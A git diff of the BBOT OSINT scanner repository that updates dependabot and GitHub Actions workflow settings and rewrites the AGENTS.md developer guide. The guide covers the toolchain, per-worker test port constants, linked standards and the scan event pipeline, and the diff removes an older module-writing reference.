diff --git a/.github/ISSUE_TEMPLATE/bug_report.md b/.github/ISSUE_TEMPLATE/bug_report.md deleted file mode 100644 index 55fccf323f..0000000000 --- a/.github/ISSUE_TEMPLATE/bug_report.md +++ /dev/null @@ -1,24 +0,0 @@ ---- -name: Bug Report -about: Create a report to help us improve -title: "" -labels: bug -assignees: "" ---- - -**Describe the bug** -What happened vs what was expected? - -**BBOT Command** -Example: `bbot -m httpx -t evilcorp.com` - -**OS, BBOT Installation Method + Version** -Example: `OS: Arch Linux, Installation method: pip, BBOT version: 1.0.3.545` -Note: You can get the BBOT version with `bbot --version` -Note: BBOT is designed from the ground up to run on Linux. Windows and MacOS are not officially supported. If you are using one of these platforms, it's recommended to use Docker. - -**BBOT Config** -Attach your full BBOT preset (to show it, add `--current-preset` to your BBOT command). - -**Logs/Screenshots** -If possible, produce the bug while `--debug` is enabled, and attach the relevant parts of the output. diff --git a/.github/ISSUE_TEMPLATE/feature_request.md b/.github/ISSUE_TEMPLATE/feature_request.md deleted file mode 100644 index 101c5fe600..0000000000 --- a/.github/ISSUE_TEMPLATE/feature_request.md +++ /dev/null @@ -1,10 +0,0 @@ ---- -name: Feature Request -about: Request a new feature -title: "" -labels: enhancement -assignees: "" ---- - -**Description** -Which feature would you like to see added to BBOT? What are its use cases? diff --git a/.github/dependabot.yml b/.github/dependabot.yml index 86128d1eb9..457575bb09 100644 --- a/.github/dependabot.yml +++ b/.github/dependabot.yml @@ -2,16 +2,69 @@ version: 2 updates: - package-ecosystem: "uv" directory: "/" + target-branch: "dev" schedule: interval: "weekly" + groups: + uv-minor-patch: + patterns: + - "*" + update-types: + - "minor" + - "patch" + uv-major: + patterns: + - "*" + update-types: + - "major" + - package-ecosystem: "github-actions" + directory: "/" target-branch: "dev" - open-pull-requests-limit: 10 - - package-ecosystem: github-actions - directory: / + schedule: + interval: "weekly" groups: - github-actions: + github-actions-minor-patch: + patterns: + - "*" + update-types: + - "minor" + - "patch" + github-actions-major: patterns: - - "*" # Group all Actions updates into a single larger pull request + - "*" + update-types: + - "major" + - package-ecosystem: "docker" + directory: "/" + target-branch: "dev" schedule: - interval: weekly - target-branch: "dev" + interval: "weekly" + groups: + docker-minor-patch: + patterns: + - "*" + update-types: + - "minor" + - "patch" + docker-major: + patterns: + - "*" + update-types: + - "major" + - package-ecosystem: "pre-commit" + directory: "/" + target-branch: "dev" + schedule: + interval: "weekly" + groups: + pre-commit-minor-patch: + patterns: + - "*" + update-types: + - "minor" + - "patch" + pre-commit-major: + patterns: + - "*" + update-types: + - "major" diff --git a/.github/workflows/benchmark.yml b/.github/workflows/benchmark.yml index 6d36ec88bb..60aec8bc18 100644 --- a/.github/workflows/benchmark.yml +++ b/.github/workflows/benchmark.yml @@ -14,10 +14,11 @@ concurrency: permissions: contents: read pull-requests: write + issues: write jobs: benchmark: - runs-on: ubuntu-latest + runs-on: ubuntu-24.04 steps: - uses: actions/checkout@v7 @@ -40,21 +41,24 @@ jobs: sudo apt-get update sudo apt-get install -y libmagic1 - # Generate benchmark comparison report using our branch-based script + # HEAD is the PR merge commit and HEAD^1 its base, so the two runs differ only by + # the PR's changes. Both commits are present on fork PRs too, unlike the head branch. - name: Generate benchmark comparison report env: - BASE_REF: ${{ github.base_ref }} - HEAD_REF: ${{ github.head_ref }} + BASE_LABEL: ${{ github.base_ref }} + CURRENT_LABEL: ${{ github.head_ref }} run: | uv run python bbot/scripts/benchmark_report.py \ - --base "$BASE_REF" \ - --current "$HEAD_REF" \ + --base HEAD^1 \ + --current HEAD \ + --base-label "$BASE_LABEL" \ + --current-label "$CURRENT_LABEL" \ --output benchmark_report.md \ --keep-results - continue-on-error: true # Upload benchmark results as artifacts - name: Upload benchmark results + if: ${{ !cancelled() }} uses: actions/upload-artifact@v7 with: name: benchmark-results @@ -70,7 +74,7 @@ jobs: # attempt fails the whole job with a 403. The report is still in the uploaded # artifact either way. - name: Comment benchmark results on PR - if: github.event.pull_request.head.repo.full_name == github.repository + if: ${{ !cancelled() && github.event.pull_request.head.repo.full_name == github.repository }} uses: actions/github-script@v9 with: script: | diff --git a/.github/workflows/cla.yml b/.github/workflows/cla.yml index bc28e132f0..a407ba8f3f 100644 --- a/.github/workflows/cla.yml +++ b/.github/workflows/cla.yml @@ -6,10 +6,12 @@ on: types: [opened, closed, synchronize] permissions: + contents: read pull-requests: write statuses: write jobs: cla: - uses: blacklanternsecurity/CLA/.github/workflows/cla-reusable.yml@main + name: check the CLA is signed + uses: blacklanternsecurity/CLA/.github/workflows/cla-reusable.yml@4f85d3c525483f0f846ef4384a8ece24a3c74375 # 2026-09-29 secrets: inherit diff --git a/.github/workflows/codeql.yml b/.github/workflows/codeql.yml index 7117a72e89..ec56b77d5a 100644 --- a/.github/workflows/codeql.yml +++ b/.github/workflows/codeql.yml @@ -21,13 +21,13 @@ on: jobs: analyze: - name: Analyze (${{ matrix.language }}) + name: scan ${{ matrix.language }} for security issues # Runner size impacts CodeQL analysis time. To learn more, please see: # - https://gh.io/recommended-hardware-resources-for-running-codeql # - https://gh.io/supported-runners-and-hardware-resources # - https://gh.io/using-larger-runners (GitHub.com only) # Consider using larger runners or machines with greater resources for possible analysis time improvements. - runs-on: ${{ (matrix.language == 'swift' && 'macos-latest') || 'ubuntu-latest' }} + runs-on: ${{ (matrix.language == 'swift' && 'macos-latest') || 'ubuntu-24.04' }} permissions: # required for all workflows security-events: write diff --git a/.github/workflows/dependabot-auto-merge.yml b/.github/workflows/dependabot-auto-merge.yml new file mode 100644 index 0000000000..1730bc4411 --- /dev/null +++ b/.github/workflows/dependabot-auto-merge.yml @@ -0,0 +1,12 @@ +name: Dependabot auto-merge +on: pull_request + +permissions: {} + +jobs: + auto-merge: + permissions: + contents: write + pull-requests: write + checks: read + uses: blacklanternsecurity/CLA/.github/workflows/dependabot-auto-merge.yml@e532142ee9e7322888f6edc80d9a89e2f8c0d96d # 2026-10-03 diff --git a/.github/workflows/distro_tests.yml b/.github/workflows/distro_tests.yml index 66ca3f03a4..15da92db7c 100644 --- a/.github/workflows/distro_tests.yml +++ b/.github/workflows/distro_tests.yml @@ -8,7 +8,7 @@ concurrency: jobs: test-distros: - runs-on: ubuntu-latest + runs-on: ubuntu-24.04 container: image: ${{ matrix.os }} strategy: @@ -51,7 +51,10 @@ jobs: uv python install 3.12 uv python pin 3.12 uv sync --group dev - uv run pytest --reruns 2 --exitfirst -o timeout_func_only=true --timeout 1200 --disable-warnings --log-cli-level=INFO . + uv run pytest -n $(uv run python bbot/test/worker_count.py) --dist loadgroup --reruns 2 --exitfirst -o timeout_func_only=true --timeout 1200 --disable-warnings --log-cli-level=INFO \ + bbot/test/test_step_1/test_e2e.py \ + bbot/test/test_step_1/test_depsinstaller.py \ + bbot/test/test_step_1/test_command.py - name: Upload Debug Logs if: always() uses: actions/upload-artifact@v7 diff --git a/.github/workflows/docs_updater.yml b/.github/workflows/docs_updater.yml index ee4e5253f9..96eed38d72 100644 --- a/.github/workflows/docs_updater.yml +++ b/.github/workflows/docs_updater.yml @@ -7,7 +7,7 @@ on: jobs: update_docs: - runs-on: ubuntu-latest + runs-on: ubuntu-24.04 steps: - uses: actions/checkout@v7 with: diff --git a/.github/workflows/tests.yml b/.github/workflows/tests.yml index d81333f76b..0c29dec51a 100644 --- a/.github/workflows/tests.yml +++ b/.github/workflows/tests.yml @@ -12,12 +12,12 @@ concurrency: jobs: test: - runs-on: ubuntu-latest + runs-on: ubuntu-24.04 strategy: # if one python version fails, let the others finish fail-fast: false matrix: - python-version: ["3.10", "3.11", "3.12", "3.13", "3.14"] + python-version: ["3.11", "3.12", "3.13", "3.14", "3.15"] steps: - uses: actions/checkout@v7 - name: Set up Python @@ -51,9 +51,23 @@ jobs: token: ${{ secrets.CODECOV_TOKEN }} files: ./cov.xml verbose: true + + test_matrix: + name: test matrix passed + if: always() + needs: [test] + runs-on: ubuntu-24.04 + steps: + - name: Fail unless every dependency succeeded + uses: re-actors/alls-green@b5b5b37504aa4183270bd3d855c52a67f212be35 # v1.3.0 + with: + allowed-skips: test + jobs: ${{ toJSON(needs) }} + publish_code: + name: publish package and docker images needs: test - runs-on: ubuntu-latest + runs-on: ubuntu-24.04 if: github.event_name == 'push' && (github.ref == 'refs/heads/dev' || github.ref == 'refs/heads/stable') continue-on-error: true steps: @@ -200,8 +214,9 @@ jobs: outputs: BBOT_VERSION: ${{ steps.version.outputs.BBOT_VERSION }} tag_commit: + name: tag the release commit needs: publish_code - runs-on: ubuntu-latest + runs-on: ubuntu-24.04 if: github.event_name == 'push' && (github.ref == 'refs/heads/stable' || github.ref == 'refs/heads/dev') steps: - uses: actions/checkout@v7 @@ -222,7 +237,7 @@ jobs: git push origin "$VERSION" publish_docs: - runs-on: ubuntu-latest + runs-on: ubuntu-24.04 if: github.event_name == 'push' && (github.ref == 'refs/heads/stable' || github.ref == 'refs/heads/dev') steps: - uses: actions/checkout@v7 diff --git a/.github/workflows/version_updater.yml b/.github/workflows/version_updater.yml index d39cff0212..6b5ccce315 100644 --- a/.github/workflows/version_updater.yml +++ b/.github/workflows/version_updater.yml @@ -1,4 +1,4 @@ -name: Version Updater +name: Tool Version Updater on: schedule: # Runs at 00:00 every day @@ -7,7 +7,7 @@ on: jobs: update-nuclei-version: - runs-on: ubuntu-latest + runs-on: ubuntu-24.04 steps: - uses: actions/checkout@v7 with: @@ -59,7 +59,7 @@ jobs: author: blsaccess assignees: "TheTechromancer" update-trufflehog-version: - runs-on: ubuntu-latest + runs-on: ubuntu-24.04 steps: - uses: actions/checkout@v7 with: diff --git a/AGENTS.md b/AGENTS.md index 5f29221fd8..3d41e15925 100644 --- a/AGENTS.md +++ b/AGENTS.md @@ -1,85 +1,87 @@ -# BBOT Developer Guide +# AGENTS.md + +BBOT is a recursive, modular OSINT and attack surface scanner. Modules consume and emit events. The scanner routes them by scope distance. ## Core Principles ### Modularity Principle + When writing a BBOT module, make sure all module-specific code lives in the module itself. Don't hard-code module-specific things in core or in helpers. ### DRY Principle + Don't Repeat Yourself -- and interpret this broadly. If two pieces of code aren't identical but follow a similar enough pattern that they could be generalized, they should be. Extract shared logic into a common abstraction rather than duplicating the pattern. Usually this means creating a shared helper, or a shared module template in `bbot/modules/templates`. When you notice structural similarity, unify it. ### Engineering Principle + Every system that is implemented must be implemented properly. No hacks, no hardcoding, no shortcuts. If we implement one of something, we build a proper system for it. It's okay to take a step back from the current task, in order to do things right. This relates directly to the Modularity Principle above. ### Testing Principle + BBOT has extremely thorough tests, including **one or more individual tests for each module, with no exceptions**. This is critical to maintaining stability in a recursive tool, which by its nature flirts with race conditions and infinite loops. If you add a module, you write a test. If you change a module, you make sure its test still passes. ---- +## Toolchain -## Tooling +| Concern | This repository | +|---|---| +| Language | Python, `requires-python` in pyproject.toml | +| Package manager | uv | +| Lint and format | ruff, pinned in pyproject.toml | +| Tests | pytest, plugins in the `dev` group of pyproject.toml | -- **Package manager**: [uv](https://docs.astral.sh/uv/) -- **Linter/formatter**: [ruff](https://docs.astral.sh/ruff/) (pinned to 0.15.10) -- **Test framework**: [pytest](https://docs.pytest.org/) with pytest-asyncio -- **Python**: 3.10 - 3.14 +## Setup ---- +```bash +uv sync --group dev && uv run pre-commit install +``` -## Dev Environment Setup +## Tests ```bash -# 1. Fork and clone -git clone git@github.com:/bbot.git -cd bbot +uv run pytest +uv run pytest bbot/test/test_step_2/module_tests/test_module_robots.py -# 2. Switch to dev branch, then create a feature branch -git checkout dev -git checkout -b my-feature - -# 3. Install uv (if you haven't already) -curl -LsSf https://astral.sh/uv/install.sh | sh +# the full suite, or a comma-separated subset +./bbot/test/run_tests.sh +./bbot/test/run_tests.sh robots,sslcert +``` -# 4. Install all dependencies (including dev) -uv sync --group dev +Every module has at least one test of its own in `bbot/test/test_step_2/module_tests/`, named `test_module_.py`. [docs/dev/tests.md](docs/dev/tests.md) covers how one is structured and how to mock HTTP and DNS. -# 5. Install pre-commit hooks (ruff, file checks, etc.) -uv run pre-commit install +### Never hardcode a port or URL in a test -# 6. Activate the virtualenv -source .venv/bin/activate +`ModuleTestBase` starts a local HTTP server for every test, and the test registers canned responses on it with `module_test.set_expect_requests()`. A web module's test points `targets` at that server, which is why so many tests contain a `127.0.0.1` URL: it's the fixture, not a real host. -# 7. Verify -bbot --help -``` +Its port is no longer fixed. The suite runs under `pytest -n`, and `bbot/test/worker.py` offsets every base port by the worker index so the workers don't collide on one socket: the server is on 8888 under `gw0`, 8988 under `gw1`. So `targets = ["http://127.0.0.1:8888"]` names `gw0`'s server rather than your own, and the test reaches another worker's server or nothing at all, depending on how pytest distributed that run. -### Running Tests +Use `HTTPSERVER_URL`. It is `http://127.0.0.1:`, built at import time from the same offset the fixture uses, so it always resolves to the server the test is actually talking to: -```bash -# Run the full suite -./bbot/test/run_tests.sh +```python +from bbot.test.worker import HTTPSERVER_URL -# Run specific module tests -./bbot/test/run_tests.sh robots,sslcert -# Run a single test file directly -pytest bbot/test/test_step_2/module_tests/test_module_robots.py -x -vv +class TestMyModule(ModuleTestBase): + targets = [HTTPSERVER_URL] ``` -### Linting - -```bash -ruff check # lint -ruff format # auto-format -ruff format --check # verify formatting without changes -``` +`/tmp/.bbot_test` has the same problem, since the first worker to finish deletes it. `BBOT_TEST_DIR` is the per-worker equivalent. -### Git Workflow +| Constant | What it is | +|---|---| +| `HTTPSERVER_URL` | `http://127.0.0.1:`, the usual value for `targets` | +| `HTTPSERVER_SSL_URL` | the HTTPS equivalent | +| `HTTPSERVER_PORT`, `HTTPSERVER_SSL_PORT` | the bare ports, for building a URL or a regex | +| `HTTPSERVER_HOSTPORT`, `HTTPSERVER_SSL_HOSTPORT` | `127.0.0.1:`, no scheme | +| `LOCALHOST_URL`, `LOCALHOST_SSL_URL`, `LOCALHOST_HOSTPORT` | the `localhost` spellings, for when the Host header is what's under test | +| `HTTPSERVER_PORT_ALT` | a second port inside the same worker's block | +| `HTTPSERVER_ALLINTERFACES_PORT` | the `0.0.0.0` listener | +| `FASTAPI_URL`, `FASTAPI_PORT` | the FastAPI test app | +| `WEBSOCKET_PORT` | the websocket test server | +| `BBOT_TEST_DIR`, `BBOT_TEST_DIR_NAME` | the per-worker BBOT home, and its basename | -- `stable` - production releases -- `dev` - active development, **almost all PRs should target this branch** -- Feature branches should be created from `dev` +## Branches ---- +`stable` is the default branch and holds production releases. `dev` is active development. Branch from `dev`, and target `dev` with almost every pull request. See [git.md](https://github.com/blacklanternsecurity/.github/blob/main/standards/git.md) for the rest, and [docs/contribution.md](docs/contribution.md) for what BBOT expects of a contribution. ## AI Use Disclosure @@ -91,43 +93,52 @@ Please add a small section at the bottom of the PR with the header: `### AI Use This should only apply to external contributors, not members of the blacklanternsecurity organization. ---- +## Standards + +Org-wide, in [blacklanternsecurity/.github/standards](https://github.com/blacklanternsecurity/.github/tree/main/standards). Read the one your task touches, not all of them. + +| Document | Read it when | +|---|---| +| [principles.md](https://github.com/blacklanternsecurity/.github/blob/main/standards/principles.md) | Always | +| [toolchain.md](https://github.com/blacklanternsecurity/.github/blob/main/standards/toolchain.md) | Touching dependencies, linting, formatting, or language versions | +| [git.md](https://github.com/blacklanternsecurity/.github/blob/main/standards/git.md) | Branching, commit messages, opening or reviewing a pull request | +| [rfc.md](https://github.com/blacklanternsecurity/.github/blob/main/standards/rfc.md) | A change needs agreement before work starts, or an RFC is ending | +| [testing.md](https://github.com/blacklanternsecurity/.github/blob/main/standards/testing.md) | Writing or changing tests, or anything that has them | +| [ci.md](https://github.com/blacklanternsecurity/.github/blob/main/standards/ci.md) | Touching a workflow, an action pin, or a permissions block | +| [releases.md](https://github.com/blacklanternsecurity/.github/blob/main/standards/releases.md) | Versioning, tagging, or publishing | +| [repository-setup.md](https://github.com/blacklanternsecurity/.github/blob/main/standards/repository-setup.md) | Creating a repository, or auditing one | + +Never restate a standard here. If this file and a standard disagree, the standard wins and this file is the bug. + +## Repository specifics + +| Document | Read it when | +|---|---| +| [docs/dev/module_howto.md](docs/dev/module_howto.md) | Writing or changing a module | +| [bbot/modules/base.py](bbot/modules/base.py) | Looking up a module attribute, its default, or a `BaseModule` method | +| [docs/dev/tests.md](docs/dev/tests.md) | Writing a module test, mocking HTTP or DNS | +| [docs/dev/helpers/index.md](docs/dev/helpers/index.md) | Before writing utility code, `self.helpers` likely has it | +| [docs/dev/architecture.md](docs/dev/architecture.md) | Touching the scanner, queues, or event flow | +| [docs/dev/dev_environment.md](docs/dev/dev_environment.md) | Setting up from a fresh fork | +| [docs/contribution.md](docs/contribution.md) | Opening a pull request against BBOT | + +Shared module patterns go in `bbot/modules/templates/`. ## Architecture Overview ### How a Scan Works -BBOT is an async, recursive OSINT tool. A scan starts with **seed events** (targets) and passes them through a pipeline of **modules**. Each module watches for specific event types, processes them, and may emit new events, which feed back into the pipeline. This continues until no module has anything left to do. +BBOT is an async, recursive OSINT tool. A scan starts with **seed events** (targets) and passes them through a pipeline of **modules**. Each module watches for specific event types, processes them, and may emit new events, which re-enter the pipeline at the top. This continues until no module has anything left to do. -``` - Seeds (targets) - | - v - +--------------+ - | ScanIngress | dedup, blacklist, scope check - +--------------+ - | - v - +--------------+ - | Intercept | dns, cloud tagging - | Modules | (modify/tag events before distribution) - +--------------+ - | - v - +--------------+ - | ScanEgress | scope filtering, graph management - +--------------+ - | - v - +-----------+-----------+ - | | | - Module A Module B Module C ... - | | | - +-----------+-----------+ - | - v - Output Modules (json, csv, neo4j, ...) -``` +Every event takes the same path: + +1. **`ScanIngress`** (`bbot/scanner/manager.py`) is always first. It dedupes the event, checks it against the blacklist, and sets its scope distance. +2. **Intercept modules** (`bbot/modules/internal/`) run in sequence, each one's outgoing queue wired to the next one's incoming queue. They tag and modify events before any normal module sees them, and can drop one outright. `dnsresolve` resolves hosts, `cloudcheck` tags cloud and CDN providers, `excavate` pulls new events out of HTTP response bodies. +3. **`ScanEgress`** (`bbot/scanner/manager.py`) is always last in that chain. It decides what is internal versus output-worthy (report distance, omitted event types, special URLs), runs any `abort_if` callback, and resurrects parent events so the discovery chain stays intact. +4. **Scan modules** then get the event in parallel, each filtered by its own `watched_events`. Anything they emit goes back to step 1. +5. **Output modules** (`bbot/modules/output/`) get it too, and write it out as json, csv, neo4j, and so on. + +The intercept chain is ordered by `priority`: `ScanIngress` is -99, `ScanEgress` is 99, everything else sorts between them. ### Events @@ -137,9 +148,11 @@ Events are the currency of BBOT. Every piece of data -- a hostname, IP, URL, ope - **data**: the actual data (a string, dict, etc.) - **parent**: the event that led to this one (forming a discovery chain) - **scope_distance**: how many hops from the original target (0 = in-scope) -- **tags**: metadata like `in-scope`, `affiliate`, `cloud-azure`, `open-port`, etc. +- **tags**: metadata the scanner and modules attach as an event moves through the pipeline - **module**: which module discovered it +Event classes, their data validators, and the tags they set are in `bbot/core/event/base.py`. + ### Scope Distance Scope distance tracks how far an event is from the original target: @@ -151,813 +164,6 @@ The scan's `scope.search_distance` (default 0) controls how far modules are allo ### Helpers -BBOT has a helper for almost everything. **Please use them.** They're accessible via `self.helpers` inside any module. - -Key helpers: - -| Helper | What it does | -|--------|-------------| -| `self.helpers.request(url)` | Make an HTTP request (with retries, SSL handling, etc.) | -| `self.helpers.blasthttp` | Shared blasthttp client (rate-limited via `web.http_rate_limit` config) | -| `self.helpers.resolve(host)` | DNS resolution | -| `self.helpers.is_ip(s)` | Check if string is an IP | -| `self.helpers.is_dns_name(s)` | Check if string is a hostname | -| `self.helpers.split_domain(host)` | Split into subdomain + root domain | -| `self.helpers.domain_parents(domain)` | Get all parent domains | -| `self.helpers.make_netloc(host, port)` | Format `host:port` (handles IPv6) | -| `self.helpers.parent_domain(domain)` | Get immediate parent domain | -| `self.helpers.beautifulsoup(html, parser)` | Parse HTML | -| `self.helpers.validators.validate_host(h)` | Validate and normalize a hostname | -| `self.helpers.tempfile(data, pipe=False)` | Create a temp file with content | -| `self.helpers.run(command)` | Run a shell command | -| `self.helpers.run_live(command)` | Run a shell command, stream output | -| `self.helpers.as_completed(tasks)` | Async iteration of completed tasks | -| `self.helpers.wordlist(url_or_path)` | Download/cache a wordlist | -| `self.helpers.rand_string(n)` | Random string of length n | -| `self.helpers.regexes.email_regex` | Pre-compiled email regex | -| `self.helpers.add_get_params(url, params)` | Add query params to a URL | -| `self.helpers.quote(s)` | URL-encode a string | -| `self.helpers.make_ip_type(s)` | Convert string to `ipaddress` object | -| `self.helpers.parse_port_string(s)` | Parse port range string (e.g. `"80,443,8000-9000"`) | -| `self.helpers.top_tcp_ports(n)` | Get top N TCP ports | - -There are hundreds more in `bbot/core/helpers/misc.py`. Browse them before writing utility code yourself. - ---- - -## Writing a Module - -### Quick Start - -1. Create `bbot/modules/my_module.py` -2. Define a class that inherits from `BaseModule` -3. Set `watched_events`, `produced_events`, `flags`, and `meta` -4. Implement `handle_event()` -5. Create `bbot/test/test_step_2/module_tests/test_module_my_module.py` - -Here's a minimal module: - -```python -from bbot.modules.base import BaseModule - - -class my_module(BaseModule): - watched_events = ["DNS_NAME"] - produced_events = ["EMAIL_ADDRESS"] - flags = ["passive", "email-enum"] - meta = { - "description": "Query example.com for email addresses", - "created_date": "2025-01-01", - "author": "@you", - } - - async def handle_event(self, event): - url = f"https://api.example.com/lookup?domain={event.data}" - r = await self.helpers.request(url) - if r and r.status_code == 200: - for email in r.json().get("emails", []): - await self.emit_event( - email, - "EMAIL_ADDRESS", - parent=event, - context=f"{{module}} queried example.com and found {{event.type}}: {{event.data}}", - ) -``` - -And its test: - -```python -from .base import ModuleTestBase - - -class TestMyModule(ModuleTestBase): - async def setup_after_prep(self, module_test): - module_test.blasthttp_mock.add_response( - url="https://api.example.com/lookup?domain=blacklanternsecurity.com", - json={"emails": ["info@blacklanternsecurity.com"]}, - ) - - def check(self, module_test, events): - assert any(e.data == "info@blacklanternsecurity.com" and e.type == "EMAIL_ADDRESS" for e in events), ( - "Failed to find email" - ) -``` - -### Module Lifecycle - -``` -setup() --> handle_event() (called many times) --> finish() --> report() --> cleanup() -``` - -1. **`setup()`** - one-time initialization (validate config, download data, check API keys) -2. **`handle_event(event)`** - called for each matching event -3. **`finish()`** - called when the scan is finishing; can still emit events -4. **`report()`** - called once after finish; for summary output -5. **`cleanup()`** - called last; close files, delete temp data; **cannot** emit events - ---- - -### Module Attributes Reference - -#### Event Configuration - -##### `watched_events` (list) -Event types this module wants to process. The module's `handle_event()` is only called for these types. - -```python -# sslcert.py - watches for open ports to grab SSL certs from -watched_events = ["OPEN_TCP_PORT"] - -# newsletters.py - watches HTTP responses to scan HTML -watched_events = ["HTTP_RESPONSE"] - -# json.py (output module) - watches everything -watched_events = ["*"] -``` - -##### `produced_events` (list) -Event types this module may emit. Used for dependency resolution and documentation. - -```python -# sslcert.py - can discover hostnames and emails from certificates -produced_events = ["DNS_NAME", "EMAIL_ADDRESS"] - -# portscan.py - finds open ports -produced_events = ["OPEN_TCP_PORT"] -``` - -##### `flags` (list) -Tags that describe the module's behavior. Must include at least one activity flag (`passive` or `active`). Must also include `safe`, `loud`, or `invasive` (or a combination of `loud` and `invasive`). - -Common flags: -- `passive` / `active` - whether the module touches the target directly -- `safe` - non-intrusive and non-destructive -- `loud` - generates a large amount of network traffic -- `invasive` - intrusive or potentially destructive -- `subdomain-enum` - participates in subdomain enumeration -- `web` - basic web scanning -- `email-enum` - email discovery - -```python -# crt.py - queries a third-party API, never touches the target -flags = ["subdomain-enum", "passive"] - -# sslcert.py - connects directly to target ports -flags = ["affiliates", "subdomain-enum", "email-enum", "active", "web"] -``` - -##### `meta` (dict) -Module metadata. Must include `description`, `created_date`, and `author`. Set `auth_required: True` if the module needs an API key. - -```python -meta = { - "description": "Query crt.sh (certificate transparency) for subdomains", - "created_date": "2022-05-13", - "author": "@TheTechromancer", -} - -# For API-key modules: -meta = {"description": "Query API for subdomains", "auth_required": True} -``` - ---- - -#### Options - -##### `options` / `options_desc` (dict) -User-configurable settings. Access them via `self.config.get("option_name")`. - -```python -# robots.py - configurable parsing options -options = {"include_sitemap": False, "include_allow": True, "include_disallow": True} -options_desc = { - "include_sitemap": "Include 'sitemap' entries", - "include_allow": "Include 'Allow' Entries", - "include_disallow": "Include 'Disallow' Entries", -} - -# In handle_event(): -if self.config.get("include_sitemap") is True: - ... -``` - -```python -# sslcert.py - timeout and behavior options -options = {"timeout": 5.0, "skip_non_ssl": True} -options_desc = {"timeout": "Socket connect timeout in seconds", "skip_non_ssl": "Don't try common non-SSL ports"} -``` - ---- - -#### Scope & Filtering - -##### `scope_distance_modifier` (int or None) -- default: `0` -Controls which events the module accepts based on how far they are from the target. - -- `0` (default) - accept events up to the scan's configured search distance -- `1` - accept events up to search distance + 1 -- `None` - accept all events regardless of distance - -```python -# sslcert.py - looks one hop beyond normal scope, because certificate names -# found on in-scope hosts often reveal related infrastructure -scope_distance_modifier = 1 -``` - -##### `in_scope_only` (bool) -- default: `False` -Only accept events that are explicitly in-scope (distance == 0). More restrictive than `scope_distance_modifier = 0`. - -```python -# robots.py - only fetch robots.txt for in-scope hosts -in_scope_only = True -``` - -##### `target_only` (bool) -- default: `False` -Only accept the initial target/seed events. Useful for modules that should only run once against the original targets. - -##### `accept_seeds` (bool) -- default: `True` for passive, `False` for active -Whether to process seed events (the initial targets provided to the scan). - -##### `accept_url_special` (bool) -- default: `False` -Whether to accept "special" URLs (e.g. JavaScript files) that are not normally distributed to web modules. - -```python -# http.py - needs to process all URLs including special ones -accept_url_special = True -``` - ---- - -#### Deduplication - -##### `accept_dupes` (bool) -- default: `False` -Whether to accept the same event more than once. Most modules should leave this `False`. - -```python -# Output modules set this True because they need to see every event -accept_dupes = True -``` - -##### `suppress_dupes` (bool) -- default: `True` -Whether to suppress duplicate *outgoing* events. Prevents the same event from being emitted twice. - -##### `per_host_only` (bool) -- default: `False` -Only process one event per unique host. After processing `1.2.3.4`, skip any future events for `1.2.3.4`. - -##### `per_hostport_only` (bool) -- default: `False` -Only process one event per unique host:port combination. - -```python -# robots.py - only fetch robots.txt once per host:port -per_hostport_only = True -``` - -##### `per_domain_only` (bool) -- default: `False` -Only process one event per unique root domain. After processing `www.example.com`, skip `api.example.com`. - -```python -# emailformat.py - one API query per domain is enough -per_domain_only = True -``` - -##### `_incoming_dedup_hash(self, event)` -- override for custom dedup -Override this to define custom deduplication logic. Return a hash (int) or `(hash, reason_string)`. - -```python -# securitytxt.py - dedupe by parent domain so we only check security.txt once -# per parent domain, not once per subdomain -def _incoming_dedup_hash(self, event): - parent_domain = self.helpers.parent_domain(event.data) - return hash(parent_domain), "already processed parent domain" -``` - -```python -# subdomain_enum.py template - dedupe by highest or lowest parent domain -def _incoming_dedup_hash(self, event): - return hash(self.make_query(event)), f"dedup_strategy={self.dedup_strategy}" -``` - ---- - -#### Concurrency & Batching - -##### `_module_threads` (int) -- default: `1` -How many `handle_event()` calls can run concurrently. Increase this for I/O-bound modules. - -```python -# sslcert.py - connects to many hosts in parallel -_module_threads = 25 -``` - -##### `_batch_size` (int) -- default: `1` -When > 1, events are collected into batches and passed to `handle_batch(*events)` instead of `handle_event()`. Useful for tools that work better with bulk input. - -```python -# portscan.py - masscan is most efficient with all targets at once -batch_size = 1000000 - - -async def handle_batch(self, *events): - targets, correlator = await self.make_targets(events, self.syn_scanned) - async for ip, port, parent_event in self.masscan(targets, correlator): - await self.emit_open_port(ip, port, parent_event) -``` - -##### `_shuffle_incoming_queue` (bool) -- default: `True` -Whether to randomize the order of incoming events. Set to `False` when order matters. - -```python -# portscan.py - processes all events together, order doesn't matter but -# we disable shuffle because batch_size is huge -_shuffle_incoming_queue = False -``` - ---- - -#### Dependencies - -##### `deps_pip` (list) -Python packages to install. - -```python -# sslcert.py -deps_pip = ["pyOpenSSL~=25.3.0"] -``` - -##### `deps_apt` (list) -System packages to install. - -```python -# sslcert.py -deps_apt = ["openssl"] -``` - -##### `deps_modules` (list) -Other BBOT modules that must be enabled for this module to work. - -##### `deps_shell` (list) -Shell commands to run for installation (uses Ansible's `shell` module). - -##### `deps_ansible` (list) -Ansible tasks for complex dependency installation (downloading binaries, etc.). - -```python -# fingerprintx.py - downloads a Go binary -deps_ansible = [ - { - "name": "Download fingerprintx", - "unarchive": { - "src": "https://github.com/.../fingerprintx_{version}_{platform}_{arch}.tar.gz", - "include": "fingerprintx", - "dest": "#{BBOT_TOOLS}", - "remote_src": True, - }, - }, -] -``` - ---- - -#### Priority & Queue - -##### `_priority` (int) -- default: `3` -Module priority from 1 (highest) to 5 (lowest). Lower-priority modules get events first. - -```python -# sslcert.py - runs early because other modules depend on the hostnames it discovers -_priority = 2 -``` - -##### `_qsize` (int) -- default: `1000` -Outgoing event queue size. A smaller queue creates backpressure that helps with rate limiting. - -```python -# subdomain_enum.py template - small queue to combat API rate limiting -_qsize = 10 -``` - -##### `_preserve_graph` (bool) -- default: `False` -Accept duplicate events that are needed for complete event chain construction. Only used by output modules. - -```python -# json.py - needs complete event chains for accurate output -_preserve_graph = True -``` - -##### `_stats_exclude` (bool) -- default: `False` -Exclude this module from scan statistics. Used by output and report modules. - -##### `_disable_auto_module_deps` (bool) -- default: `False` -Prevent BBOT from automatically enabling dependency modules. For example, if your module watches `URL` events, BBOT normally auto-enables `http`. Set this to `True` to prevent that. - ---- - -### Key Methods - -#### `handle_event(self, event)` -- the core method - -Called once for each matching event. This is where your module does its work. - -```python -# robots.py - fetch and parse robots.txt -async def handle_event(self, event): - host = f"{event.parsed_url.scheme}://{event.parsed_url.netloc}/" - url = f"{host}robots.txt" - result = await self.helpers.request(url) - if result: - body = result.text - if body: - for line in body.split("\n"): - if line.startswith("Disallow:"): - path = line.split(": ", 1)[1].lstrip("/") - await self.emit_event( - f"{host}{path}", - "URL_UNVERIFIED", - parent=event, - tags=["spider-danger"], - 